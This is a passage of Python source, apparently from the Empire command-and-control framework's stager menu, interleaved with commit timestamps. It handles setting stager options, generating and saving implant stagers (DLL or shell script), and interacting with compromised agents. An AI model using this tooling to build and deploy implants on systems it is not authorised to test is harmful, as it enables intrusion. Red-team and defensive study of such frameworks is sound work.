print helpers . color ( " [!] Invalid listener ID or name. " )
return False
return True
2015-08-20 23:08:40 +00:00
def do_list ( self , line ) :
" Lists all active agents (or listeners). "
if line . lower ( ) . startswith ( " listeners " ) :
2016-09-23 18:04:35 +00:00
self . mainMenu . do_list ( " listeners " + str ( ' ' . join ( line . split ( ' ' ) [ 1 : ] ) ) )
2015-08-20 23:08:40 +00:00
elif line . lower ( ) . startswith ( " agents " ) :
2016-09-23 18:04:35 +00:00
self . mainMenu . do_list ( " agents " + str ( ' ' . join ( line . split ( ' ' ) [ 1 : ] ) ) )
2015-08-20 23:08:40 +00:00
else :
print helpers . color ( " [!] Please use ' list [agents/listeners] <modifier> ' . " )
2015-08-05 18:36:39 +00:00
def do_info ( self , line ) :
" Display stager options. "
2016-07-21 03:39:25 +00:00
messages . display_stager ( self . stager )
2015-08-05 18:36:39 +00:00
def do_options ( self , line ) :
" Display stager options. "
2016-07-21 03:39:25 +00:00
messages . display_stager ( self . stager )
2015-08-05 18:36:39 +00:00
def do_set ( self , line ) :
" Set a stager option. "
2016-07-21 01:28:27 +00:00
2015-08-05 18:36:39 +00:00
parts = line . split ( )
try :
option = parts [ 0 ]
if option not in self . stager . options :
2016-07-21 01:28:27 +00:00
print helpers . color ( " [!] Invalid option specified. " )
2015-08-05 18:36:39 +00:00
2016-07-21 01:28:27 +00:00
elif len ( parts ) == 1 :
2015-08-05 18:36:39 +00:00
# "set OPTION"
# check if we're setting a switch
if self . stager . options [ option ] [ ' Description ' ] . startswith ( " Switch. " ) :
self . stager . options [ option ] [ ' Value ' ] = " True "
else :
print helpers . color ( " [!] Please specify an option value. " )
else :
# otherwise "set OPTION VALUE"
option = parts [ 0 ]
2016-09-23 18:04:35 +00:00
value = ' ' . join ( parts [ 1 : ] )
2016-07-21 01:28:27 +00:00
if value == ' " " ' or value == " ' ' " :
value = " "
2015-08-05 18:36:39 +00:00
self . stager . options [ option ] [ ' Value ' ] = value
except :
print helpers . color ( " [!] Error in setting option, likely invalid option name. " )
def do_unset ( self , line ) :
" Unset a stager option. "
option = line . split ( ) [ 0 ]
if line . lower ( ) == " all " :
for option in self . stager . options :
self . stager . options [ option ] [ ' Value ' ] = ' '
if option not in self . stager . options :
print helpers . color ( " [!] Invalid option specified. " )
else :
self . stager . options [ option ] [ ' Value ' ] = ' '
def do_generate ( self , line ) :
" Generate/execute the given Empire stager. "
if not self . validate_options ( ) :
return
stagerOutput = self . stager . generate ( )
savePath = ' '
if ' OutFile ' in self . stager . options :
savePath = self . stager . options [ ' OutFile ' ] [ ' Value ' ]
if savePath != ' ' :
# make the base directory if it doesn't exist
if not os . path . exists ( os . path . dirname ( savePath ) ) and os . path . dirname ( savePath ) != ' ' :
os . makedirs ( os . path . dirname ( savePath ) )
# if we need to write binary output for a .dll
if " .dll " in savePath :
2016-07-21 01:28:27 +00:00
out_file = open ( savePath , ' wb ' )
out_file . write ( bytearray ( stagerOutput ) )
out_file . close ( )
2015-08-05 18:36:39 +00:00
else :
# otherwise normal output
2016-07-21 01:28:27 +00:00
out_file = open ( savePath , ' w ' )
out_file . write ( stagerOutput )
out_file . close ( )
2015-08-05 18:36:39 +00:00
# if this is a bash script, make it executable
if " .sh " in savePath :
os . chmod ( savePath , 777 )
2016-07-21 01:28:27 +00:00
print " \n " + helpers . color ( " [*] Stager output written out to: %s \n " % ( savePath ) )
2015-08-05 18:36:39 +00:00
else :
print stagerOutput
def do_execute ( self , line ) :
" Generate/execute the given Empire stager. "
self . do_generate ( line )
2016-07-15 22:56:38 +00:00
def do_interact ( self , line ) :
" Interact with a particular agent. "
2016-07-21 01:28:27 +00:00
2016-07-15 22:56:38 +00:00
name = line . strip ( )
if name != " " and self . mainMenu . agents . is_agent_present ( name ) :
# resolve the passed name to a sessionID
2016-09-23 18:04:35 +00:00
sessionID = self . mainMenu . agents . get_agent_id_db ( name )
2016-07-15 22:56:38 +00:00
2016-07-21 01:28:27 +00:00
agent_menu = AgentMenu ( self . mainMenu , sessionID )
2016-07-15 22:56:38 +00:00
else :
print helpers . color ( " [!] Please enter a valid agent name " )
2015-08-05 18:36:39 +00:00
def complete_set ( self , text , line , begidx , endidx ) :
" Tab-complete a stager option to set. "
options = self . stager . options . keys ( )
2016-09-23 18:04:35 +00:00
if line . split ( ' ' ) [ 1 ] . lower ( ) == " listener " :
2015-08-05 18:36:39 +00:00
# if we're tab-completing a listener name, return all the names
listenerNames = self . mainMenu . listeners . get_listener_names ( )
2016-09-23 18:04:35 +00:00
end_line = ' ' . join ( line . split ( ' ' ) [ 1 : ] )
2015-08-05 18:36:39 +00:00
2016-07-21 01:28:27 +00:00
mline = end_line . partition ( ' ' ) [ 2 ]
2015-08-05 18:36:39 +00:00
offs = len ( mline ) - len ( text )
return [ s [ offs : ] for s in listenerNames if s . startswith ( mline ) ]
2016-09-23 18:04:35 +00:00
elif line . split ( ' ' ) [ 1 ] . lower ( ) . endswith ( " language " ) :
languages = [ ' powershell ' , ' python ' ]
end_line = ' ' . join ( line . split ( ' ' ) [ 1 : ] )
mline = end_line . partition ( ' ' ) [ 2 ]
offs = len ( mline ) - len ( text )
return [ s [ offs : ] for s in languages if s . startswith ( mline ) ]
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
elif line . split ( ' ' ) [ 1 ] . lower ( ) . endswith ( " path " ) :
2015-08-05 18:36:39 +00:00
# tab-complete any stager option that ends with 'path'
2016-07-21 01:28:27 +00:00
return helpers . complete_path ( text , line , arg = True )
2015-08-05 18:36:39 +00:00
# otherwise we're tab-completing an option name
mline = line . partition ( ' ' ) [ 2 ]
offs = len ( mline ) - len ( text )
return [ s [ offs : ] for s in options if s . startswith ( mline ) ]
def complete_unset ( self , text , line , begidx , endidx ) :
" Tab-complete a stager option to unset. "
options = self . stager . options . keys ( ) + [ " all " ]
mline = line . partition ( ' ' ) [ 2 ]
offs = len ( mline ) - len ( text )
return [ s [ offs : ] for s in options if s . startswith ( mline ) ]
2016-07-15 22:56:38 +00:00
def complete_interact ( self , text , line , begidx , endidx ) :
" Tab-complete an interact command "
2016-09-23 18:04:35 +00:00
names = self . mainMenu . agents . get_agent_names_db ( )
2016-07-15 22:56:38 +00:00
mline = line . partition ( ' ' ) [ 2 ]
offs = len ( mline ) - len ( text )
2016-07-21 01:28:27 +00:00
return [ s [ offs : ] for s in names if s . startswith ( mline ) ]